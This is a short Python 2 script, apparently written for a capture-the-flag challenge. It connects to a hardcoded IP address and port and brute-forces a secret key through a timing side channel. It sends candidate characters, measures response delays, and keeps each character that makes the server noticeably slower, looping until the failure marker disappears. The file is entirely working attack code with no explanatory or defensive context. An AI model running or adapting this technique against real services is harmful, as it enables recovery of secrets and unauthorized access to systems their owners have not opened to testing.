from socket import *
import time
from decimal import *


s = socket(AF_INET, SOCK_STREAM)
s.connect(("37.15.122.113", 9999))

recvd = "nvalid key"

def send(c):
    global recvd

    s.sendall(c)
    start = time.time()
    s.recv(1)
    recvd = s.recv(200)
    s.recv(1)
    return time.time() - start

send("pene\n")

print send("e\n")
print recvd
print send("t\n")
print recvd
print send("tI\n")
print recvd
print send("e\n")
print recvd
print send("e\n")
print recvd
print send("e\n")
print recvd
print send("e\n")
print recvd
print send("e\n")
print recvd
print send("e\n")
print recvd
print send("e\n")
print recvd

lolz = ""
tb = Decimal(send(lolz + "\n"))
c = 0x30

print tb


i = 0

while ":(" in recvd:
    t = Decimal(send(lolz + chr(c) + "\n"))
    print lolz + chr(c), "\t", t
    if t > tb + Decimal(0.2):
        if i == 5:
            lolz += chr(c)
            tb = Decimal(send(lolz + "\n"))
            c = 0x30
            i = 0
            print lolz
        else: i += 1
        print
    else:
        c += 1
    if c > 0x7f: c = 0x30